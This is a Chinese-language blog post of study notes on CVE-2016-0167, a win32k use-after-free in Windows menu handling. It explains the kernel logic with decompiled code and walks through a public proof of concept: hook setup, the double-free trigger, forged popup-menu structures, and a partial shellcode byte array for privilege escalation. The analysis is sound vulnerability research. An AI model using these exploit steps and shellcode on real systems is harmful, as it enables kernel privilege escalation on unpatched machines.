cve-2016-0167学习笔记

第一次分析windows内核漏洞,太难了不是人搞的,放弃了,还是搞搞别的吧

主要参考了leeqwind的博客+个人理解

漏洞原理

CVE-2016-0167发生在win32k!xxxMNDestroyHandler中,漏洞发生的根本原因是win32k!xxxMNDestroyHandler在释放窗口处理消息WM_UNINITMENUPOPUP时可能被回调到用户进程,在用户回调中执行自定义的挂钩函数(hook)时可能会引起窗口对象内存区域的分配或释放。在之后的分析中我们可以看到处理消息的函数win32k!xxxSendMessageTimeout在执行完用户自定义hook之后没有检查相应内存区域的有效性直接执行了一个函数回调spwndNotify->lpfnWndProc,所以漏洞的利用思路可以是利用hook double free掉窗口内存区域,然后重新分配占位窗口内存的spwndNotify->lpfnWndProc成员域来劫持控制流进而提权。

前置知识

1.用户模式回调

传统上,win32子系统是在client-server runtime subsystem (CSRSS)的基础上实现的,客户端的线程都有一个对应的服务端线程存在,他们通过fastLPC通信。后来为了提高性能,微软将大部分服务端的组件转移到了内核模式,这就引入了win32k.sys。

这样做的好处是减少了线程切换的次数和内存需求;但是和以前直接在相同特权级别直接访问代码/数据相比,用户/内核的状态转换慢。为了加快状态转换速度,微软的做法是在用户模式地址空间缓存部分数据结构;为了在内核态访问这些数据结构,需要有一种将控制权交给用户模式的方法,微软用的方法就是用户模式回调。

用户模式回调允许win32k回调到用户模式,并可以执行应用程序自定义的挂钩(hook)、事件通知、从/向用户模式拷贝数据。

2.用户对象的位置

windows中每个句柄的实际位置保存在句柄类型信息表中(win32k!ghati),这个表保存了对象的分配标志、类型、指向销毁例程的指针。当对象的引用锁计数为零时就会调用ghati中对应的销毁例程。

3.win32k的命名约定

为了使开发者对可能回调到用户模式的函数做出相应预防措施,win32k使用了他自己的函数命名约定。函数的前缀xxx或zzz会表明函数以何种方式调用用户模式回调。以xxx前缀命名的函数大部分会调用用户模式回调,以zzz为前缀命名的函数大部分会调用异步或延时的回调。

4.对象锁

windows使用锁来确保内核执行用户模式回调时对象不被改变,锁的类型一般有两种,线程锁和赋值锁。

线程锁通常用于给函数内部的对象或者缓冲区加锁。每一个线程被加锁的项存储在线程锁结构 (win32k! TL)的一个线程锁单链表。线程信息结构(THREADINFO.ptl)会指向该列表。当一个 Win32k 的函数不再需要某个对象或者缓冲区时, 它会调用 ThreadUnlock() 函数将锁项从线程锁列表中移除。

赋值锁用于对用户对象更长时间的加锁。赋值锁的对象是指向被锁对象的指针,在加赋值锁时win32k调用HMAssignmentLock(Address,Object),释放对象赋值锁时调用HMAssignmentUnlock(Address)。

漏洞分析

以下分析关键代码和主要逻辑。win32k!xxxMNDestroyHandler用于销毁菜单窗口的关联弹出菜单tagPOPUPMENU,win32k!xxxMNDestroyHandler首先检查了当前菜单是否包含子菜单,并遍历子菜单发送消息xxxMNCloseHierarchy执行关闭子菜单的任务。

void __stdcall xxxMNDestroyHandler(_tagPOPUPMENU *popupmenu)
{
_tagWND *v1; // eax
int v2; // ecx
int v3; // eax
_tagWND *spwndNotify; // eax
_DWORD *spmenu; // eax
_tagWND *v6; // eax
_DWORD *v7; // esi
_SINGLE_LIST_ENTRY *v8; // [esp+4h] [ebp-Ch]
_tagWND *v9; // [esp+8h] [ebp-8h]

if ( popupmenu )
{
  if ( popupmenu->spwndNextPopup )
  {
    v1 = (_tagWND *)popupmenu->spwndPopupMenu;// 判断当前菜单是否存在子菜单
    if ( !v1 )                               // 不存在子菜单
      v1 = (_tagWND *)popupmenu->spwndNextPopup;// 指向下一个菜单
    v8 = gptiCurrent[45].Next;
    gptiCurrent[45].Next = (_SINGLE_LIST_ENTRY *)&v8;
    v9 = v1;
    ++v1->head.cLockObj;
    xxxSendMessage(v1, 0x1E4, 0, 0);           // xxxMNCloseHierarchy,关闭子菜单
    ThreadUnlock1();                         // 关闭线程锁
  }

然后检查fSendUninit标志位,其中fSendUninit是在子弹出菜单初始化时通过xxxTrackPopupMenuEx或 xxxMNOpenHierarchy被默认置位,参数spwndNotify在窗口初始化时作为用户窗口对象的地址,调用时是可控的,这将导致xxxSendMessage在处理WM_UNINITMENUPOPUP消息时有可能被回调到用户进程,漏洞也就是出现在这里。

    if ( popupmenu->_union_1.fIsMenuBar & 0x200000 )// fSendUninit
  {
    spwndNotify = (_tagWND *)popupmenu->spwndNotify;
    if ( spwndNotify )
    {
      v8 = gptiCurrent[45].Next;
      gptiCurrent[45].Next = (_SINGLE_LIST_ENTRY *)&v8;
      v9 = spwndNotify;
      ++spwndNotify->head.cLockObj;
      spmenu = (_DWORD *)popupmenu->spmenu;
      if ( spmenu )
        spmenu = (_DWORD *)*spmenu;
      xxxSendMessage(                         // vul here
        (_tagWND *)popupmenu->spwndNotify,
        0x125,                                 // WM_UNINITMENUPOPUP
        (WCHAR)spmenu,
        (void *)((unsigned __int16)((((unsigned int)popupmenu->_union_1.fIsMenuBar >> 2) & 1) << 13) << 16));
      ThreadUnlock1();
    }
  }

win32k!xxxSendMessage中主要是给线程临界区加锁,然后执行了xxxSendMessageTimeout。xxxSendMessageTimeout中执行了一个自定义的钩子函数,然后判断接收信息窗口spwndNotify的标志位没有检查相应内存区域的有效性直接执行了一个回调函数spwndNotify->lpfnWndProc。

   if ( gptiCurrent == (PSINGLE_LIST_ENTRY)spwndNotify->head.pti )
  {
    if ( (LOBYTE(gptiCurrent[75].Next) | LOBYTE(gptiCurrent[51].Next[3].Next)) & 0x20 )
    {
      v22 = spwndNotify->head.h__;
      v20 = UnicodeString;
      v19 = Src;
      v21 = v12;
      v23 = 0;
      xxxCallHook(0, 0, (int)&v19, 4);       // 执行回调
    }
    if ( spwndNotify->_union_2.state & 0x40000 )
    {
      IoGetStackLimits(&LowLimit, &HighLimit);
      if ( (unsigned int)&HighLimit - LowLimit < 0x1000 )
        return 0;
      result = (_SINGLE_LIST_ENTRY *)((int (__stdcall *)(_tagWND *, int, _DWORD, void *))spwndNotify->lpfnWndProc)(// 未检查相应内存区域有效性直接访问
                                        spwndNotify,
                                        v12,
                                        UnicodeString,
                                        Src);
      if ( !pMbString )
        return result;
      *(_DWORD *)pMbString = result;
    }
      else
    {
      xxxSendMessageToClient(spwndNotify, v12, UnicodeString, Src, 0, 0, (int)&HighLimit);

win32k!xxxMNDestroyHandler最后判断了fDelayedFree标志位,只有当fDelayedFree标志位为空时才会马上执行MNFreePopup,否则只清除fDelayedFree标志位。

    if ( popupmenu->_union_1.fHasMenuBar & 0x10000 )// fDelayedFree
  {
    v7 = (_DWORD *)popupmenu->ppopupmenuRoot;
    if ( v7 )
      *v7 |= 0x20000u;                       // 清除fDelayedFree标志位
  }
  else
  {
    MNFreePopup(popupmenu);
  }

MNFreePopup首先判断当前要释放的弹出菜单是否为根菜单,若是则执行MNFlushDestroyedPopups进行释放。接着清除窗口对象成员域的赋值锁,最后释放掉窗口对象。

void __stdcall MNFreePopup(_tagPOPUPMENU *P)
{
int v1; // eax

if ( P == (_tagPOPUPMENU *)P->ppopupmenuRoot )// 要释放的是当前根菜单
  MNFlushDestroyedPopups((#162 *)P, 1);
v1 = P->spwndPopupMenu;
if ( v1 && (*(_WORD *)(v1 + 42) & 0x3FFF) == 668 && P != (_tagPOPUPMENU *)&gpopupMenu )
  *(_DWORD *)(v1 + 176) = 0;
HMAssignmentUnlock(&P->spwndPopupMenu);       // 清除赋值锁
                                              // 减小锁计数对象,锁计数为1时调用 HMUnlockObjectInternal销毁对象
HMAssignmentUnlock(&P->spwndNextPopup);
HMAssignmentUnlock(&P->spwndPrevPopup);
UnlockPopupMenu((int)P, &P->spmenu);
UnlockPopupMenu((int)P, &P->spmenuAlternate);
HMAssignmentUnlock(&P->spwndNotify);
HMAssignmentUnlock(&P->spwndActivePopup);
if ( P == (_tagPOPUPMENU *)&gpopupMenu )
  gdwPUDFlags &= 0xFF7FFFFF;
else
  ExFreePoolWithTag(P, 0);                   // 释放对象
}

其中MNFlushDestroyedPopups遍历并根据链表中每个对象的fDestroyed标志位调用MNFreePopup对对象进行释放。

  for ( result = (_tagPOPUPMENU **)((char *)a1 + 36); *result; result = (_tagPOPUPMENU **)((char *)v2 + 36) )
{
  v4 = *result;
  if ( (*result)->_union_1.fIsMenuBar & 0x8000 )// fDestroyed
  {
    v5 = *result;
    *result = (_tagPOPUPMENU *)v4->ppmDelayedFree;
    MNFreePopup(v5);
  }
  else if ( a2 )
  {
    v4->_union_1.fIsMenuBar &= 0xFFFEFFFF;
    *result = (_tagPOPUPMENU *)(*result)->ppmDelayedFree;
  }
  else
  {
    v2 = (#162 *)*result;
  }

HMAssignmentUnlock清除赋值锁的过程首先减小了对象的锁计数,在锁计数减小为0时调用HMUnlockObjectInternal销毁对象。销毁时调用win32k!ghati对应表项的销毁例程,并最终调用xxxDestroyWindow对窗口对象进行释放。

3: kd> r

eax=ff911020 ebx=fd4425e8 ecx=0000000c edx=00000201 esi=fd4425e8 edi=924df600

eip=9238e301 esp=90519ac4 ebp=90519ac8 iopl=0     nv up ei pl nz na pe nc

cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000       efl=00000206

win32k!HMDestroyUnlockedObject+0x15:

9238e301 ff9118294b92 call dword ptr win32k!gahti (924b2918)[ecx] ds:0023:924b2924={win32k!xxxDestroyWindow (92345c1f)}

漏洞利用

这里只根据leeqwind师傅的poc分析下漏洞的利用思路,poc地址https://github.com/leeqwind/HolicPOC/blob/master/windows/win32k/CVE-2016-0167/x86.cpp

漏洞利用的过程就是一个uaf的利用过程,只不过内核的消息处理机制比较复杂,漏洞触发流程也比较复杂。总体思路是win32k!xxxMNDestroyHandler在处理WM_UNINITMENUPOPUP消息执行自定义hook函数时对窗口对象double free,double free可以在hook中通过发送MN_CANCELMENUS消息并在处理消息进入xxxMNDestroyHandler中处理WM_UNINITMENUPOPUP消息时调用DestroyWindow来实现;重新置位内存的过程可以通过发送一个WM_NCCREATE消息重新申请内存并对double free的内存spwndNotify->lpfnWndProc成员域覆盖成shellcode的地址,由于xxxSendMessageTimeout没有检查内存spwndNotify->lpfnWndProc成员域的合法性直接访问了,这样就会劫持控制流执行shellcode。

首先设置WH_CALLWNDPROC类型的自定义hook函数,并设置事件通知范围为EVENT_SYSTEM_MENUPOPUPSTART,即菜单开始弹出的事件通知。然后通过调用TrackPopupMenuEx使第一个菜单作为根菜单显示,并进入消息循环状态。

    SetWindowsHookExW(WH_CALLWNDPROC, xxWindowHookProc,
      GetModuleHandleA(NULL),
      GetCurrentThreadId());

  SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART,
      GetModuleHandleA(NULL),
      xxWindowEventProc,
      GetCurrentProcessId(),
      GetCurrentThreadId(),
      0);

  TrackPopupMenuEx(hMenuList[0], 0, 0, 0, hWindowMain, NULL);
   
  MSG msg = { 0 };
  while (GetMessageW(&msg, NULL, 0, 0))
  {
      TranslateMessage(&msg);
      DispatchMessageW(&msg);
  }

调用TrackPopupMenuEx显示菜单时会触发EVENT_SYSTEM_MENUPOPUPSTART事件通知,由于我们自定义了EVENT_SYSTEM_MENUPOPUPSTART通知的事件通知处理函数xxWindowEventProc,xxxWindowEvent在处理该通知时会进入我们自定义的xxWindowEventProc函数中,而在我们自定义的事件通知处理函数xxWindowEventProc中主要发送了三个消息

    SendMessageW(hwnd, MN_SELECTITEM, 0, 0);
  SendMessageW(hwnd, MN_SELECTFIRSTVALIDITEM, 0, 0);
  PostMessageW(hwnd, MN_OPENHIERARCHY, 0, 0);

在处理分发MN_OPENHIERARCHY消息时会调用xxxCreateWindowEx创建新的菜单窗口,在xxxCreateWindowEx中会调用xxxSendMessage发送WM_NCCREATE的消息,并最终调用xxxSendMessageTimeout执行xxxCallHook进入我们自定义的hook函数xxWindowHookProc中。而在xxWindowHookProc中主要是判断并根据消息的类型进入DestroyWindow或者发送MN_CANCELMENUS消息进入xxxMNCancel的流程。其中WM_UNINITMENUPOPUP消息表明这时处于第一次调用xxxMNDestroyHandler期间,这时调用DestroyWindow销毁窗口即可;WM_NCCREATE消息表明是显示完根菜单并进入事件通知处理函数xxWindowEventProc期间,这时需要发送MN_CANCELMENUS消息并进入xxxMNCancel的流程对目标窗口进行double free,xxxMNCancel会调用xxxDestroyWindow并最终调用xxxMNDestroyHandler对窗口对象进行释放。

    if (cwp->message == WM_UNINITMENUPOPUP &&
      bEnterUninit == FALSE &&
      hMenuList[1] == (HMENU)cwp->wParam)
  {
      DestroyWindow(hwndMenuDest);
  }
  else if (cwp->message == WM_NCCREATE &&
      hwndMenuDest == NULL &&
      hwndMenuList[0] && !hwndMenuList[1])
  {
      hwndMenuDest = cwp->hwnd;
      SendMessageW(hwndMenuList[0], MN_CANCELMENUS, 0, 0);
      PostMessageW(hWindowMain, WM_EX_TRIGGER, 0, 1);
  }

这里需要注意的一点是如何使目标窗口fDelayedFree标志位置0进而在xxxMNDestroyHandler中直接进入MNFreePopup的流程。首先需要明确的一点是在自定义hook中调用SendMessageW发送MN_CANCELMENUS消息时,由于此时是处于消息队列处理分发WM_NCCREATE消息期间,MN_CANCELMENUS消息的处理要早于WM_NCCREATE消息,因此WM_NCCREATE要创建的子消息窗口此时并未创建成功,处理MN_CANCELMENUS消息也不会销毁任何子弹出菜单,这样子弹出菜单的fDestroyed标志位就不会被置位。

同时,在自定义hook中处理MN_CANCELMENUS消息调用xxxMNCancel销毁根菜单时,由于根菜单是被正常创建的,fDelayed标志位是置位的,xxxMNDestroyHandler不会进入MNFreePopup的流程,最终调用xxxMNEndMenuState来清理菜单结构体。

在SendMessage发送MN_CANCELMENUS消息返回后,我们异步的调用PostMessage发送自定义的消息WM_EX_TRIGGER。这时系统并不会马上执行对异步消息的处理,对WM_EX_TRIGGER消息的处理最终在窗口关联对象的消息循环xxxMNLoop中执行。

接下来内核继续进行处理WM_NCCREATE消息完成创建子菜单的操作,然后再进入xxxMNLoop消息循环中处理MN_CANCELMENUS消息。在消息循环中会判断若fDestroyed置位,则需要终止菜单,这时会跳出消息循环调用xxxEndMenuLoop终止菜单返回到xxxTrackPopupMenuEx中,xxxTrackPopupMenuEx会调用xxxMNEndMenuState来最终执行菜单终止的任务。xxxMNEndMenuState会调用MNFreePopup进而调用MNFlushDestroyedPopups来释放链表中fDestroyed未置位的对象,而上边的分析中我们已经得出子弹出菜单的fDestroyed不会被置位,因此子菜单不会被释放,且fDelayedFree标志位会被MNFlushDestroyedPopups置零。

void __stdcall xxxMNEndMenuState(int a1)
{
PSINGLE_LIST_ENTRY v1; // edi
_SINGLE_LIST_ENTRY *v2; // esi
_SINGLE_LIST_ENTRY *v3; // eax

v1 = gptiCurrent;
v2 = gptiCurrent[65].Next;
if ( !v2[7].Next )
{
  MNEndMenuStateNotify(gptiCurrent[65].Next);
  if ( v2->Next )
  {
    if ( a1 )
      MNFreePopup((_tagPOPUPMENU *)v2->Next);
    else
      v2->Next->Next = (_SINGLE_LIST_ENTRY *)((_DWORD)v2->Next->Next & 0xFFFEFFFF);
  }

这时系统会进行hook函数中自定义的消息WM_EX_TRIGGER的处理,进而进入自定义的消息处理函数xxMainWindowProc中。

static
LRESULT
WINAPI
xxMainWindowProc(
  _In_ HWND   hwnd,
  _In_ UINT   msg,
  _In_ WPARAM wParam,
  _In_ LPARAM lParam
)
{
  if (msg == WM_EX_TRIGGER)
  {
      DWORD_PTR popupMenuDest = 0;
      popupMenuDest = *(DWORD_PTR*)((PBYTE)xxHMValidateHandle(hwndMenuDest) + 0xb0);
      DestroyWindow(hwndMenuDest);
      LRESULT Triggered = SendMessageW(hWindowHunt, 0x9F9F, popupMenuDest, 0);
  }
  return DefWindowProcW(hwnd, msg, wParam, lParam);
}

xxMainWindowProc调用DestroyWindow并最终调用xxxMNDestroyHandler销毁目标窗口,xxxMNDestroyHandler在处理WM_UNINITMENUPOPUP消息时会将关联窗口对象句柄作为参数传入,这将命中xxWindowHookProc中处理消息为WM_UNINITMENUPOPUP且spmenu为cwp->wParam的条件执行DestroyWindow(hwndMenuDest),这会导致针对相同hwndMenuDest对象第二次执行xxxMNDestroyHandler,第二次执行xxxMNDestroyHandler时会执行同样的流程但是由于自定义的标志位bEnterUninit已经改变,所以不会第三次执行DestroyWindow。

    if (cwp->message == WM_UNINITMENUPOPUP &&
      bEnterUninit == FALSE &&
      hMenuList[1] == (HMENU)cwp->wParam)
  {
      bEnterUninit = TRUE;
      DestroyWindow(hwndMenuDest);
      DWORD dwPopupFake[0xD] = { 0 };
      dwPopupFake[0x0] = (DWORD)0x00088208; //->flags
      dwPopupFake[0x1] = (DWORD)pvHeadFake; //->spwndNotify
      dwPopupFake[0x2] = (DWORD)pvHeadFake; //->spwndPopupMenu
      dwPopupFake[0x3] = (DWORD)pvHeadFake; //->spwndNextPopup
      dwPopupFake[0x4] = (DWORD)pvAddrFlags - 4; //->spwndPrevPopup
      dwPopupFake[0x5] = (DWORD)pvHeadFake; //->spmenu
      dwPopupFake[0x6] = (DWORD)pvHeadFake; //->spmenuAlternate
      dwPopupFake[0x7] = (DWORD)pvHeadFake; //->spwndActivePopup
      dwPopupFake[0x8] = (DWORD)0xFFFFFFFF; //->ppopupmenuRoot
      dwPopupFake[0x9] = (DWORD)pvHeadFake; //->ppmDelayedFree
      dwPopupFake[0xA] = (DWORD)0xFFFFFFFF; //->posSelectedItem
      dwPopupFake[0xB] = (DWORD)pvHeadFake; //->posDropped
      dwPopupFake[0xC] = (DWORD)0;
      for (UINT i = 0; i < iWindowCount; ++i)
      {
          SetClassLongW(hWindowList[i], GCL_MENUNAME, (LONG)dwPopupFake);
      }
  }

由于此时子弹出菜单fDelayedFree标志位未被置位,将会马上执行MNFreePopop释放掉。(若此时只进行DestroyWindow没有之后的伪造会返回到第一次xxxMNCancel最终调用xxxMNDestroyHandler时会执行相同的操作进而构成double free。)而在实际poc中对xxTrackExploitEx中批量创建的hWindowList[]窗口对象的GCL_MENUNAME进行了伪造。执行完DestroyWindow返回到xxMainWindowProc中继续执行调用SendMessageW发送一个消息0x9F9F并最终触发提权操作。

    0x3d, 0x9f, 0x9f, 0x00, 0x00,       // cmp     eax,9F9Fh
  0x0f, 0x85, 0x8d, 0x00, 0x00, 0x00, // jne     Loader+0x1128
  // Loader+0x109b:
  // Judge if CS is 0x1b, which means in user-mode context.
  0x66, 0x8c, 0xc8,                   // mov     ax,cs
  0x66, 0x83, 0xf8, 0x1b,             // cmp     ax,1Bh
  0x0f, 0x84, 0x80, 0x00, 0x00, 0x00, // je     Loader+0x1128
  // Loader+0x10a8:
  // Get the address of pwndWindowHunt to ECX.
  // Recover the flags of pwndWindowHunt: zero bServerSideWindowProc.
  // Get the address of pvShellCode to EDX by CALL-POP.
  // Get the address of pvShellCode->tagCLS[0x100] to ESI.
  // Get the address of popupMenuDest to EDI.
  0xfc,                               // cld
  0x8b, 0x4d, 0x08,                   // mov     ecx,dword ptr [ebp+8]
  0xff, 0x41, 0x16,                   // inc     dword ptr [ecx+16h]
  0x60,                               // pushad
  0xe8, 0x00, 0x00, 0x00, 0x00,       // call   $5
原文地址:https://www.cnblogs.com/snip3r/p/12335515.html